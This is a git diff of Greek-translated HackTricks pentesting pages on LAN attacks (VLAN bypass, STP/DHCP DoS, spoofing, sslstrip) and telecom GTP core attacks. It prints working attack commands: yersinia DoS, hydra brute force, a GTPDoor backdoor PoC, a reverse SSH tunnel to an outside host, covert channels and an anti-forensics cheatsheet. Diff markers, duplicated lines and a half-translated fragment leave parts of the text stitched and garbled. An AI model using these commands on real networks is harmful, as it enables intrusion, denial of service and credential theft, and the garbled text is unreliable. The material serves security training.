Σε ορισμένα περιβάλλοντα, όπως τα δίκτυα ασύρματης πρόσβασης για επισκέπτες, εφαρμόζονται ρυθμίσεις **απομόνωσης θυρών (γνωστές και ως private VLAN)** για να αποτραπεί η άμεση επικοινωνία των πελατών που είναι συνδεδεμένοι σε ένα ασύρματο σημείο πρόσβασης. Ωστόσο, έχει εντοπιστεί μια τεχνική που μπορεί να παρακάμψει αυτά τα μέτρα απομόνωσης. Αυτή η τεχνική εκμεταλλεύεται είτε την έλλειψη ACL δικτύου είτε την εσφαλμένη τους ρύθμιση, επιτρέποντας στα πακέτα IP να δρομολογούνται μέσω ενός δρομολογητή για να φτάσουν σε έναν άλλο πελάτη στο ίδιο δίκτυο.
Η επίθεση εκτελείται δημιουργώντας ένα **πακέτο που φέρει τη διεύθυνση IP του πελάτη προορισμού αλλά με τη MAC διεύθυνση του δρομολογητή**. Αυτό προκαλεί στον δρομολογητή να προωθήσει λανθασμένα το πακέτο στον στοχευμένο πελάτη. Αυτή η προσέγγιση είναι παρόμοια με αυτή που χρησιμοποιείται στις επιθέσεις Double Tagging, όπου η ικανότητα ελέγχου ενός host προσβάσιμου από το θύμα χρησιμοποιείται για να εκμεταλλευτεί την ασφάλεια.
**Βασικά Βήματα της Επίθεσης:**
1. **Δημιουργία Πακέτου:** Ένα πακέτο δημιουργείται ειδικά για να περιλαμβάνει τη διεύθυνση IP του στοχευμένου πελάτη αλλά με τη MAC διεύθυνση του δρομολογητή.
2. **Εκμετάλλευση Συμπεριφοράς Δρομολογητή:** Το δημιουργημένο πακέτο αποστέλλεται στον δρομολογητή, ο οποίος, λόγω της ρύθμισης, ανακατευθύνει το πακέτο στον στοχευμένο πελάτη, παρακάμπτοντας την απομόνωση που παρέχεται από τις ρυθμίσεις ιδιωτικού VLAN.
2. **Εκμετάλλευση Συμπεριφοράς Δρομολογητή:** Το δημιουργημένο πακέτο αποστέλλεται στον δρομολογητή, ο οποίος, λόγω της ρύθμισης, ανακατευθύνει το πακέτο στον στοχευμένο πελάτη, παρακάμπτοντας την απομόνωση που παρέχεται από τις ρυθμίσεις private VLAN.
### VTP Attacks
@ -365,13 +365,13 @@ lateral-vlan-segmentation-bypass.md
#### VTP Domain Roles
- **VTP Server:** Διαχειρίζεται τα VLAN—δημιουργεί, διαγράφει, τροποποιεί. Εκπέμπει ανακοινώσεις VTP στα μέλη του τομέα.
- **VTP Server:** Διαχειρίζεται τα VLAN—δημιουργεί, διαγράφει, τροποποιεί. Διαδίδει ανακοινώσεις VTP στα μέλη του τομέα.
- **VTP Client:** Λαμβάνει ανακοινώσεις VTP για να συγχρονίσει τη βάση δεδομένων VLAN του. Αυτός ο ρόλος περιορίζεται από τροποποιήσεις ρυθμίσεων VLAN τοπικά.
- **VTP Transparent:** Δεν συμμετέχει σε ενημερώσεις VTP αλλά προωθεί τις ανακοινώσεις VTP. Δεν επηρεάζεται από επιθέσεις VTP, διατηρεί έναν σταθερό αριθμό αναθεώρησης μηδέν.
#### VTP Advertisement Types
- **Summary Advertisement:** Εκπέμπεται από τον VTP server κάθε 300 δευτερόλεπτα, μεταφέροντας βασικές πληροφορίες τομέα.
- **Summary Advertisement:** Διαδίδεται από τον VTP server κάθε 300 δευτερόλεπτα, μεταφέροντας βασικές πληροφορίες τομέα.
- **Subset Advertisement:** Αποστέλλεται μετά από αλλαγές στη ρύθμιση VLAN.
- **Advertisement Request:** Εκδίδεται από έναν VTP client για να ζητήσει μια Summary Advertisement, συνήθως ως απάντηση στην ανίχνευση υψηλότερου αριθμού αναθεώρησης ρύθμισης.
@ -397,7 +397,7 @@ yersinia stp -attack 3
```
#### **STP TCP Attack**
Όταν αποστέλλεται ένα TCP, ο πίνακας CAM των διακοπτών θα διαγραφεί σε 15 δευτερόλεπτα. Στη συνέχεια, αν στέλνετε συνεχώς αυτού του είδους τα πακέτα, ο πίνακας CAM θα επανεκκινείται συνεχώς (ή κάθε 15 δευτερόλεπτα) και όταν επανεκκινείται, ο διακόπτης συμπεριφέρεται ως κόμβος.
Όταν αποστέλλεται ένα TCP, ο πίνακας CAM των διακοπτών θα διαγραφεί σε 15 δευτερόλεπτα. Στη συνέχεια, αν στέλνετε συνεχώς αυτού του είδους τα πακέτα, ο πίνακας CAM θα επανεκκινείται συνεχώς (ή κάθε 15 δευτερόλεπτα) και όταν επανεκκινείται, ο διακόπτης συμπ behaves ως hub.
```bash
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
@ -448,9 +448,9 @@ sudo yersinia cdp -attack 0 #Send a CDP packet
**VoIP Hopper** προσφέρει τρεις λειτουργίες για το Πρωτόκολλο Ανακάλυψης Cisco (CDP):
1. **Λειτουργία Sniff** (`-c 0`): Αναλύει τα πακέτα δικτύου για να προσδιορίσει το VLAN ID.
2. **Λειτουργία Spoof** (`-c 1`): Δημιουργεί προσαρμοσμένα πακέτα που μιμούνται αυτά μιας πραγματικής συσκευής VoIP.
3. **Λειτουργία Spoof με Προκατασκευασμένο Πακέτο** (`-c 2`): Στέλνει πακέτα ταυτόσημα με αυτά ενός συγκεκριμένου μοντέλου τηλεφώνου IP της Cisco.
1. **Sniff Mode** (`-c 0`): Αναλύει τα πακέτα δικτύου για να προσδιορίσει το VLAN ID.
2. **Spoof Mode** (`-c 1`): Δημιουργεί προσαρμοσμένα πακέτα που μιμούνται αυτά μιας πραγματικής συσκευής VoIP.
3. **Spoof with Pre-made Packet Mode** (`-c 2`): Στέλνει πακέτα ταυτόσημα με αυτά ενός συγκεκριμένου μοντέλου τηλεφώνου Cisco IP.
Η προτιμώμενη λειτουργία για ταχύτητα είναι η τρίτη. Απαιτεί τον καθορισμό:
@ -492,7 +492,7 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
**Δύο τύποι DoS** μπορούν να εκτελούνται κατά των DHCP servers. Ο πρώτος περιλαμβάνει **την προσομοίωση αρκετών ψεύτικων hosts για να χρησιμοποιηθούν όλες οι δυνατές διευθύνσεις IP**.\
Αυτή η επίθεση θα λειτουργήσει μόνο αν μπορείτε να δείτε τις απαντήσεις του DHCP server και να ολοκληρώσετε το πρωτόκολλο (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Για παράδειγμα, αυτό **δεν είναι δυνατό σε δίκτυα Wifi**.
Μια άλλη μέθοδος για να εκτελέσετε μια DHCP DoS είναι να στείλετε ένα **DHCP-RELEASE packet χρησιμοποιώντας ως πηγή κάθε δυνατή IP**. Τότε, ο server θα νομίζει ότι όλοι έχουν τελειώσει τη χρήση της IP.
Ένας άλλος τρόπος για να εκτελέσετε μια DHCP DoS είναι να στείλετε ένα **DHCP-RELEASE packet χρησιμοποιώντας ως πηγή κάθε δυνατή IP**. Τότε, ο server θα νομίζει ότι όλοι έχουν τελειώσει τη χρήση της IP.
```bash
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
@ -503,7 +503,7 @@ yersinia dhcp -attack 3 #More parameters are needed
#### Ορισμός κακόβουλων τιμών
Ένας κακόβουλος διακομιστής DHCP μπορεί να ρυθμιστεί χρησιμοποιώντας το σενάριο DHCP που βρίσκεται στο `/usr/share/responder/DHCP.py`. Αυτό είναι χρήσιμο για επιθέσεις δικτύου, όπως η καταγραφή της κίνησης HTTP και των διαπιστευτηρίων, ανακατευθύνοντας την κίνηση σε έναν κακόβουλο διακομιστή. Ωστόσο, η ρύθμιση ενός κακόβουλου πύλης είναι λιγότερο αποτελεσματική, καθώς επιτρέπει μόνο την καταγραφή της εξερχόμενης κίνησης από τον πελάτη, χάνοντας τις απαντήσεις από την πραγματική πύλη. Αντίθετα, συνιστάται η ρύθμιση ενός κακόβουλου διακομιστή DNS ή WPAD για μια πιο αποτελεσματική επίθεση.
Ένας κακόβουλος διακομιστής DHCP μπορεί να ρυθμιστεί χρησιμοποιώντας το σενάριο DHCP που βρίσκεται στο `/usr/share/responder/DHCP.py`. Αυτό είναι χρήσιμο για επιθέσεις δικτύου, όπως η καταγραφή HTTP κίνησης και διαπιστευτηρίων, ανακατευθύνοντας την κίνηση σε έναν κακόβουλο διακομιστή. Ωστόσο, η ρύθμιση ενός κακόβουλου πύλης είναι λιγότερο αποτελεσματική, καθώς επιτρέπει μόνο την καταγραφή της εξερχόμενης κίνησης από τον πελάτη, χάνοντας τις απαντήσεις από την πραγματική πύλη. Αντίθετα, συνιστάται η ρύθμιση ενός κακόβουλου διακομιστή DNS ή WPAD για μια πιο αποτελεσματική επίθεση.
Παρακάτω είναι οι επιλογές εντολών για τη ρύθμιση του κακόβουλου διακομιστή DHCP:
@ -533,7 +533,7 @@ yersinia dhcp -attack 3 #More parameters are needed
- Ανάγκαστη πιστοποίηση EAP-MD5 για παράκαμψη της επικύρωσης πιστοποιητικού TLS
- Εισαγωγή κακόβουλης δικτυακής κίνησης κατά την πιστοποίηση χρησιμοποιώντας ένα hub ή παρόμοιο
Αν ο επιτιθέμενος είναι μεταξύ του θύματος και του διακομιστή πιστοποίησης, θα μπορούσε να προσπαθήσει να υποβαθμίσει (αν είναι απαραίτητο) το πρωτόκολλο πιστοποίησης σε EAP-MD5 και να καταγράψει την απόπειρα πιστοποίησης. Στη συνέχεια, θα μπορούσε να το αποκωδικοποιήσει βίαια χρησιμοποιώντας:
Εάν ο επιτιθέμενος βρίσκεται μεταξύ του θύματος και του διακομιστή πιστοποίησης, θα μπορούσε να προσπαθήσει να υποβαθμίσει (αν είναι απαραίτητο) το πρωτόκολλο πιστοποίησης σε EAP-MD5 και να καταγράψει την απόπειρα πιστοποίησης. Στη συνέχεια, θα μπορούσε να το αποκωδικοποιήσει βίαια χρησιμοποιώντας:
```
eapmd5pass r pcap.dump w /usr/share/wordlist/sqlmap.txt
```
@ -549,7 +549,7 @@ glbp-and-hsrp-attacks.md
### RIP
Τρεις εκδόσεις του Πρωτοκόλλου Πληροφοριών Δρομολόγησης (RIP) είναι γνωστό ότι υπάρχουν: RIP, RIPv2 και RIPng. Τα datagrams αποστέλλονται σε ομότιμους μέσω της θύρας 520 χρησιμοποιώντας UDP από το RIP και το RIPv2, ενώ τα datagrams μεταδίδονται στη θύρα UDP 521 μέσω IPv6 multicast από το RIPng. Η υποστήριξη για την αυθεντικοποίηση MD5 εισήχθη από το RIPv2. Από την άλλη πλευρά, η εγγενής αυθεντικοποίηση δεν ενσωματώνεται από το RIPng; αντίθετα, βασίζεται σε προαιρετικά IPsec AH και ESP headers εντός του IPv6.
Τρεις εκδόσεις του Πρωτοκόλλου Πληροφοριών Δρομολόγησης (RIP) είναι γνωστό ότι υπάρχουν: RIP, RIPv2 και RIPng. Τα datagrams αποστέλλονται σε ομότιμους μέσω της θύρας 520 χρησιμοποιώντας UDP από το RIP και το RIPv2, ενώ τα datagrams μεταδίδονται στη θύρα UDP 521 μέσω IPv6 multicast από το RIPng. Η υποστήριξη για την αυθεντικοποίηση MD5 εισήχθη από το RIPv2. Από την άλλη πλευρά, η εγγενής αυθεντικοποίηση δεν περιλαμβάνεται στο RIPng; αντίθετα, βασίζεται σε προαιρετικά IPsec AH και ESP headers εντός του IPv6.
- **RIP και RIPv2:** Η επικοινωνία γίνεται μέσω UDP datagrams στη θύρα 520.
- **RIPng:** Χρησιμοποιεί τη θύρα UDP 521 για τη μετάδοση datagrams μέσω IPv6 multicast.
@ -568,20 +568,20 @@ glbp-and-hsrp-attacks.md
eigrp-attacks.md
{{#endref}}
[**Coly**](https://code.google.com/p/coly/) έχει δυνατότητες για την παρεμβολή εκπομπών EIGRP (Πρωτόκολλο Δρομολόγησης Εσωτερικής Πύλης Ενισχυμένο). Επιτρέπει επίσης την έγχυση πακέτων, τα οποία μπορούν να χρησιμοποιηθούν για την τροποποίηση των ρυθμίσεων δρομολόγησης.
[**Coly**](https://code.google.com/p/coly/) έχει δυνατότητες για την παρεμβολή των εκπομπών EIGRP (Πρωτόκολλο Δρομολόγησης Εσωτερικής Πύλης Ενισχυμένο). Επιτρέπει επίσης την έγχυση πακέτων, τα οποία μπορούν να χρησιμοποιηθούν για την τροποποίηση των ρυθμίσεων δρομολόγησης.
### OSPF
Στο πρωτόκολλο Open Shortest Path First (OSPF) **η αυθεντικοποίηση MD5 χρησιμοποιείται συνήθως για να διασφαλίσει ασφαλή επικοινωνία μεταξύ δρομολογητών**. Ωστόσο, αυτό το μέτρο ασφαλείας μπορεί να παραβιαστεί χρησιμοποιώντας εργαλεία όπως το Loki και το John the Ripper. Αυτά τα εργαλεία είναι ικανά να συλλαμβάνουν και να σπάζουν MD5 hashes, εκθέτοντας το κλειδί αυθεντικοποίησης. Μόλις αποκτηθεί αυτό το κλειδί, μπορεί να χρησιμοποιηθεί για την εισαγωγή νέων πληροφοριών δρομολόγησης. Για να ρυθμίσετε τις παραμέτρους διαδρομής και να καθορίσετε το παραβιασμένο κλειδί, χρησιμοποιούνται οι καρτέλες _Injection_ και _Connection_, αντίστοιχα.
Στο πρωτόκολλο Open Shortest Path First (OSPF) **η αυθεντικοποίηση MD5 χρησιμοποιείται συνήθως για να διασφαλίσει ασφαλή επικοινωνία μεταξύ των δρομολογητών**. Ωστόσο, αυτό το μέτρο ασφαλείας μπορεί να παραβιαστεί χρησιμοποιώντας εργαλεία όπως το Loki και το John the Ripper. Αυτά τα εργαλεία είναι ικανά να συλλαμβάνουν και να σπάζουν MD5 hashes, εκθέτοντας το κλειδί αυθεντικοποίησης. Μόλις αποκτηθεί αυτό το κλειδί, μπορεί να χρησιμοποιηθεί για την εισαγωγή νέων πληροφοριών δρομολόγησης. Για να ρυθμίσετε τις παραμέτρους διαδρομής και να καθορίσετε το παραβιασμένο κλειδί, χρησιμοποιούνται οι καρτέλες _Injection_ και _Connection_, αντίστοιχα.
- **Σύλληψη και Σπάσιμο MD5 Hashes:** Εργαλεία όπως το Loki και το John the Ripper χρησιμοποιούνται για αυτό το σκοπό.
- **Ρύθμιση Παραμέτρων Διαδρομής:** Αυτό γίνεται μέσω της καρτέλας _Injection_.
- **Ρύθμιση του Παραβιασμένου Κλειδιού:** Το κλειδί ρυθμίζεται στην καρτέλα _Connection_.
- **Ρύθμιση του Παραβιασμένου Κλειδιού:** Το κλειδί ρυθμίζεται κάτω από την καρτέλα _Connection_.
### Other Generic Tools & Sources
- [**Above**](https://github.com/c4s73r/Above): Εργαλείο για σάρωση δικτυακής κίνησης και εύρεση ευπαθειών
- Μπορείτε να βρείτε **περισσότερες πληροφορίες σχετικά με επιθέσεις δικτύου** [**εδώ**](https://github.com/Sab0tag3d/MITM-cheatsheet).
- Μπορείτε να βρείτε περισσότερες **πληροφορίες σχετικά με επιθέσεις δικτύου** [**εδώ**](https://github.com/Sab0tag3d/MITM-cheatsheet).
## **Spoofing**
@ -608,7 +608,7 @@ hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw
```bash
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
```
**Ρυθμίστε το δικό σας DNS με το dnsmasq**
**Ρύθμιση δικού σας DNS με το dnsmasq**
```bash
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS
@ -646,13 +646,13 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
- Μέσω **DHCP**, όπου η ανακάλυψη διευκολύνεται με τη χρήση μιας ειδικής καταχώρησης κωδικού 252.
- Από **DNS**, που περιλαμβάνει την αναζήτηση ενός ονόματος υπολογιστή με την ετικέτα _wpad_ εντός του τοπικού τομέα.
- Μέσω **Microsoft LLMNR και NBT-NS**, που είναι μηχανισμοί εφεδρείας που χρησιμοποιούνται σε περιπτώσεις όπου οι αναζητήσεις DNS δεν επιτυγχάνουν.
- Μέσω **Microsoft LLMNR και NBT-NS**, που είναι μηχανισμοί εναλλακτικής λύσης που χρησιμοποιούνται σε περιπτώσεις όπου οι αναζητήσεις DNS δεν επιτυγχάνουν.
Το εργαλείο Responder εκμεταλλεύεται αυτό το πρωτόκολλο ενεργώντας ως **κακόβουλος διακομιστής WPAD**. Χρησιμοποιεί DHCP, DNS, LLMNR και NBT-NS για να παραπλανήσει τους πελάτες να συνδεθούν σε αυτόν. Για να εμβαθύνετε στο πώς μπορούν να προσποιηθούν οι υπηρεσίες χρησιμοποιώντας το Responder [ελέγξτε αυτό](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
Μπορείτε να προσφέρετε διαφορετικές υπηρεσίες στο δίκτυο για να προσπαθήσετε να **παγιδεύσετε έναν χρήστη** να εισάγει κάποια **κωδικά διαπιστευτήρια σε απλό κείμενο**. **Περισσότερες πληροφορίες σχετικά με αυτήν την επίθεση στο** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**
Μπορείτε να προσφέρετε διαφορετικές υπηρεσίες στο δίκτυο για να προσπαθήσετε να **παγιδεύσετε έναν χρήστη** να εισάγει κάποια **κωδικά πρόσβασης σε απλό κείμενο**. **Περισσότερες πληροφορίες σχετικά με αυτήν την επίθεση στο** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**
### IPv6 Neighbor Spoofing
@ -663,7 +663,7 @@ sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neigh
```
### IPv6 Router Advertisement Spoofing/Flooding
Ορισμένα λειτουργικά συστήματα ρυθμίζουν από προεπιλογή την πύλη από τα πακέτα RA που αποστέλλονται στο δίκτυο. Για να δηλώσετε τον επιτιθέμενο ως IPv6 δρομολογητή μπορείτε να χρησιμοποιήσετε:
Ορισμένα λειτουργικά συστήματα ρυθμίζουν από προεπιλογή την πύλη από τα πακέτα RA που αποστέλλονται στο δίκτυο. Για να δηλώσετε τον επιτιθέμενο ως IPv6 δρομολογητή, μπορείτε να χρησιμοποιήσετε:
```bash
sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
@ -695,16 +695,16 @@ iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
```
More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf).
### sslStrip+ και dns2proxy για την παράκαμψη του HSTS
### sslStrip+ και dns2proxy για παράκαμψη HSTS
Η **διαφορά** μεταξύ **sslStrip+ και dns2proxy** σε σχέση με **sslStrip** είναι ότι θα **ανακατευθύνουν** για παράδειγμα _**www.facebook.com**_ **σε** _**wwww.facebook.com**_ (σημειώστε το **επιπλέον** "**w**") και θα ορίσουν τη **διεύθυνση αυτού του τομέα ως τη διεύθυνση IP του επιτιθέμενου**. Με αυτόν τον τρόπο, ο **πελάτης** θα **συνδεθεί** με _**wwww.facebook.com**_ **(τον επιτιθέμενο)** αλλά πίσω από τις σκηνές **sslstrip+** θα **διατηρεί** τη **πραγματική σύνδεση** μέσω https με **www.facebook.com**.
Ο **στόχος** αυτής της τεχνικής είναι να **αποφευχθεί το HSTS** γιατί _**wwww**.facebook.com_ **δεν θα** αποθηκευτεί στην **κρυφή μνήμη** του προγράμματος περιήγησης, οπότε το πρόγραμμα περιήγησης θα παραπλανηθεί να εκτελέσει **την αυθεντικοποίηση του facebook σε HTTP**.\
Σημειώστε ότι για να εκτελεστεί αυτή η επίθεση, το θύμα πρέπει αρχικά να προσπαθήσει να αποκτήσει πρόσβαση στο [http://www.faceook.com](http://www.faceook.com) και όχι στο https. Αυτό μπορεί να γίνει τροποποιώντας τους συνδέσμους μέσα σε μια σελίδα http.
Ο **στόχος** αυτής της τεχνικής είναι να **αποφευχθεί το HSTS** επειδή _**wwww**.facebook.com_ **δεν θα** αποθηκευτεί στην **κρυφή μνήμη** του προγράμματος περιήγησης, οπότε το πρόγραμμα περιήγησης θα παραπλανηθεί να εκτελέσει **την αυθεντικοποίηση του facebook σε HTTP**.\
Σημειώστε ότι για να εκτελεστεί αυτή η επίθεση, το θύμα πρέπει αρχικά να προσπαθήσει να αποκτήσει πρόσβαση σε [http://www.faceook.com](http://www.faceook.com) και όχι σε https. Αυτό μπορεί να γίνει τροποποιώντας τους συνδέσμους μέσα σε μια σελίδα http.
More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
**sslStrip ή sslStrip+ δεν λειτουργεί πια. Αυτό συμβαίνει επειδή υπάρχουν κανόνες HSTS που είναι αποθηκευμένοι στους προγράμματα περιήγησης, οπότε ακόμη και αν είναι η πρώτη φορά που ένας χρήστης αποκτά πρόσβαση σε έναν "σημαντικό" τομέα, θα αποκτήσει πρόσβαση μέσω HTTPS. Επίσης, σημειώστε ότι οι αποθηκευμένοι κανόνες και άλλοι παραγόμενοι κανόνες μπορούν να χρησιμοποιούν τη σημαία** [**`includeSubdomains`**](https://hstspreload.appspot.com) **έτσι το** _**wwww.facebook.com**_ **παράδειγμα από πριν δεν θα λειτουργεί πια καθώς το** _**facebook.com**_ **χρησιμοποιεί HSTS με `includeSubdomains`.**
**sslStrip ή sslStrip+ δεν λειτουργεί πια. Αυτό συμβαίνει επειδή υπάρχουν κανόνες HSTS που είναι αποθηκευμένοι στους περιηγητές, οπότε ακόμη και αν είναι η πρώτη φορά που ένας χρήστης αποκτά πρόσβαση σε έναν "σημαντικό" τομέα, θα αποκτήσει πρόσβαση μέσω HTTPS. Επίσης, σημειώστε ότι οι αποθηκευμένοι κανόνες και άλλοι παραγόμενοι κανόνες μπορούν να χρησιμοποιούν τη σημαία** [**`includeSubdomains`**](https://hstspreload.appspot.com) **έτσι το** _**wwww.facebook.com**_ **παράδειγμα από πριν δεν θα λειτουργεί πια καθώς το** _**facebook.com**_ **χρησιμοποιεί HSTS με `includeSubdomains`.**
TODO: easy-creds, evilgrade, metasploit, factory

View File

@ -3,25 +3,25 @@
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Οι πρωτόκολλοι κινητής πυρήνας (GPRS Tunnelling Protocol GTP) συχνά διασχίζουν ημι-έμπιστους κόμβους GRX/IPX roaming. Επειδή χρησιμοποιούν απλό UDP με σχεδόν καμία αυθεντικοποίηση, **οποιοδήποτε σημείο εισόδου μέσα σε ένα τηλεπικοινωνιακό περίγραμμα μπορεί συνήθως να φτάσει απευθείας σε πυρήνες σήμανσης**. Οι παρακάτω σημειώσεις συγκεντρώνουν επιθετικές τεχνικές που παρατηρήθηκαν στην πράξη κατά SGSN/GGSN, PGW/SGW και άλλους κόμβους EPC.
> Οι πρωτόκολλοι κινητής πυρήνας (GPRS Tunnelling Protocol GTP) συχνά διασχίζουν ημι-εμπιστευτικά GRX/IPX roaming backbones. Επειδή διακινούνται μέσω απλού UDP με σχεδόν καμία αυθεντικοποίηση, **οποιοδήποτε σημείο εισόδου μέσα σε ένα τηλεπικοινωνιακό περίγραμμα μπορεί συνήθως να φτάσει απευθείας στους πυρήνες σήμανσης**. Οι παρακάτω σημειώσεις συγκεντρώνουν επιθετικές τεχνικές που παρατηρήθηκαν στην πράξη κατά SGSN/GGSN, PGW/SGW και άλλους κόμβους EPC.
## 1. Recon & Initial Access
### 1.1 Default OSS / NE Accounts
Ένα εκπληκτικά μεγάλο σύνολο στοιχείων δικτύου προμηθευτών έρχεται με σκληρά κωδικοποιημένους χρήστες SSH/Telnet όπως `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Μια αφιερωμένη λίστα λέξεων αυξάνει δραματικά την επιτυχία της βίαιης εισόδου:
Ένα εκπληκτικά μεγάλο σύνολο στοιχείων δικτύου προμηθευτών έρχεται με σκληρά κωδικοποιημένους χρήστες SSH/Telnet όπως `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Μια αφιερωμένη λίστα λέξεων αυξάνει δραματικά την επιτυχία της βίαιης επίθεσης:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
Αν η συσκευή εκθέτει μόνο ένα VRF διαχείρισης, κάντε pivot μέσω ενός jump host πρώτα (δείτε την ενότητα «SGSN Emu Tunnel» παρακάτω).
### 1.2 Ανακάλυψη Φιλοξενουμένων μέσα στο GRX/IPX
Οι περισσότεροι χειριστές GRX εξακολουθούν να επιτρέπουν **ICMP echo** μέσω του backbone. Συνδυάστε το `masscan` με τους ενσωματωμένους UDP probes `gtpv1` για να χαρτογραφήσετε γρήγορα τους GTP-C listeners:
Οι περισσότεροι πάροχοι GRX εξακολουθούν να επιτρέπουν **ICMP echo** μέσω του backbone. Συνδυάστε το `masscan` με τους ενσωματωμένους UDP probes `gtpv1` για να χαρτογραφήσετε γρήγορα τους GTP-C listeners:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Καταμέτρηση Συνδρομητών `cordscan`
## 2. Απαρίθμηση Συνδρομητών `cordscan`
Το παρακάτω εργαλείο Go δημιουργεί πακέτα **GTP-C Create PDP Context Request** και καταγράφει τις απαντήσεις. Κάθε απάντηση αποκαλύπτει τον τρέχοντα **SGSN / MME** που εξυπηρετεί το ερωτηθέν IMSI και, μερικές φορές, το επισκεπτόμενο PLMN του συνδρομητή.
Το παρακάτω εργαλείο Go δημιουργεί πακέτα **GTP-C Create PDP Context Request** και καταγράφει τις απαντήσεις. Κάθε απάντηση αποκαλύπτει τον τρέχοντα **SGSN / MME** που εξυπηρετεί την ερωτηθείσα IMSI και, μερικές φορές, το επισκεπτόμενο PLMN του συνδρομητή.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@ -42,7 +42,7 @@ common_tcp_ports = "22,23,80,443,8080"
```
## 3. Εκτέλεση Κώδικα μέσω GTP `GTPDoor`
`GTPDoor` είναι μια μικρή υπηρεσία ELF που **δεσμεύει το UDP 2123 και αναλύει κάθε εισερχόμενο πακέτο GTP-C**. Όταν το payload ξεκινά με μια προκαθορισμένη ετικέτα, το υπόλοιπο αποκρυπτογραφείται (AES-128-CBC) και εκτελείται μέσω του `/bin/sh -c`. Η stdout/stderr εξάγονται μέσα σε **μηνύματα Echo Response** έτσι ώστε να μην δημιουργείται ποτέ εξωτερική συνεδρία.
`GTPDoor` είναι μια μικρή υπηρεσία ELF που **δεσμεύει το UDP 2123 και αναλύει κάθε εισερχόμενο πακέτο GTP-C**. Όταν το payload ξεκινά με μια προ-μοιρασμένη ετικέτα, το υπόλοιπο αποκρυπτογραφείται (AES-128-CBC) και εκτελείται μέσω του `/bin/sh -c`. Η stdout/stderr εξάγονται μέσα σε **μηνύματα Echo Response** έτσι ώστε να μην δημιουργηθεί ποτέ εξωτερική συνεδρία.
Ελάχιστο πακέτο PoC (Python):
```python
@ -78,12 +78,12 @@ ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
## 5. Κρυφά Κανάλια
| Κανάλι | Μεταφορά | Αποκωδικοποίηση | Σημειώσεις |
|--------|----------|----------------|-----------|
|--------|----------|----------------|------------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | καθαρός παθητικός ακροατής, χωρίς εξερχόμενη κίνηση |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) κωδικοποιημένο σε A-record octets | παρακολουθεί για `*.nodep` υποτομέα |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob σε ιδιωτικό IE | αναμειγνύεται με νόμιμο GTP-C θόρυβο |
Όλα τα εμφυτεύματα υλοποιούν watchdogs που **timestomp** τα δυαδικά τους και επανεκκινούν αν καταρρεύσουν.
Όλοι οι εμφυτευμένοι υλοποιούν watchdogs που **timestomp** τα δυαδικά τους και επανεκκινούν αν καταρρεύσουν.
## 6. Cheatsheet Αποφυγής Άμυνας
```bash
@ -121,20 +121,20 @@ rm -f /tmp/sh ; history -c
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` προσαρμοσμένα εργαλεία που περιγράφονται σε προηγούμενες ενότητες.
* `FScan` : εσωτερικές σάρωσεις TCP (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS κακόβουλο WPAD
* `Microsocks` + `ProxyChains` : ελαφριά περιστροφή SOCKS5
* `FRP` (≥0.37) : διασύνδεση NAT / γέφυρα περιουσιακών στοιχείων
* `Microsocks` + `ProxyChains` : ελαφρύ SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / σύνδεση πόρων
---
## Ιδέες Ανίχνευσης
1. **Οποιαδήποτε συσκευή εκτός από SGSN/GGSN που δημιουργεί αιτήματα Δημιουργίας PDP Context**.
2. **Μη τυπικές θύρες (53, 80, 443) που λαμβάνουν χειραψίες SSH** από εσωτερικές IP.
3. **Συχνά αιτήματα Echo χωρίς αντίστοιχες απαντήσεις Echo** μπορεί να υποδηλώνουν σήματα GTPDoor.
2. **Μη τυπικές θύρες (53, 80, 443) που λαμβάνουν SSH handshakes** από εσωτερικές IP.
3. **Συχνά Echo Requests χωρίς αντίστοιχες Echo Responses** μπορεί να υποδηλώνει GTPDoor beacons.
